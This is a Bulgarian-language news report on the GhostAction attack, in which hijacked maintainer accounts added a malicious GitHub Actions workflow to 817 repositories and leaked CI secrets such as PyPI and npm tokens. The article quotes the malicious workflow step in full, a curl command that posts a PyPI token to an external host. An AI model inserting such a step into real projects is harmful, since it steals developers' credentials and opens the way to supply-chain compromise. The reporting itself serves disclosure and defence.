В хода на атаката GhostAction са компрометирани 817 репозитория на GitHub

Изследователи от компанията GitGuardian откриха масирана атака срещу потребители на GitHub, при която е получен контрол над 327 акаунта и е извършена подмяна на злонамерен обработчик на Github Action в 817 репозитория. Атаката доведе до изтичане на 3325 секрети, използвани в системи за непрекъсната интеграция и предавани чрез променливи на средата, включително токени за достъп до PyPI, GitHub, NPM, DockerHub и различни облачни хранилища.

GitHub Actions позволява на разработчиците да прикрепват обработчици за автоматизация на различни операции в GitHub. Например, с помощта на GitHub Actions могат да се извършват определени проверки и тестове при извършване на комити или да се автоматизира обработката на нови Issues. Злонамереният обработчик е разпространяван под името „Github Actions Security“ и е включвал в секция „run“ команда „curl“, която изпраща съдържанието на променливите на средата на външен хост при стартиране на задачи в средата на непрекъсната интеграция. Злонамереният комит е добавен от акаунти на мейнтейнъри на проекти, които вероятно са били хакнати или станали жертва на фишинг.

Атаката е открита след анализ на аномалната активност, свързана с пакета FastUUID, който предоставя Python обвивка над Rust библиотеката UUID. Пакетът FastUUID, за който в последната седмица са регистрирани почти 1.2 милиона сваляния, се използва като зависимост в популярния проект LiteLLM, който има над 5 милиона сваляния седмично в PyPI. Анализът на промените в репозитория FastUUID показа, че на 2 септември мейнтейнърът на проекта е добавил комит с нов обработчик на Github Action, в който е включен код за изпращане на токена на репозитория PyPI към външен хост. — name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https://bold-dhawan.45-139-104-115.plesk.page

Проблемата беше установена преди злоумишlenicite да се възползват от перехванатия токен — не са регистрирани публикации на злонамерени промени или модифицирани версии на пакета в PyPI за FastUUID. Подобни замествания на Github Action бяха открити в 816 репозитория, на собствениците на които, както и на администрацията на PyPI, GitHub, NPM и DockerHub, бяха изпратени уведомления. Към края на вчерашния ден, злонамерените комити бяха отменени в около 100 репозитория. В момента при търсене в GitHub се определят 671 комита с злонамерен Github Action.

Източник: opennet.ru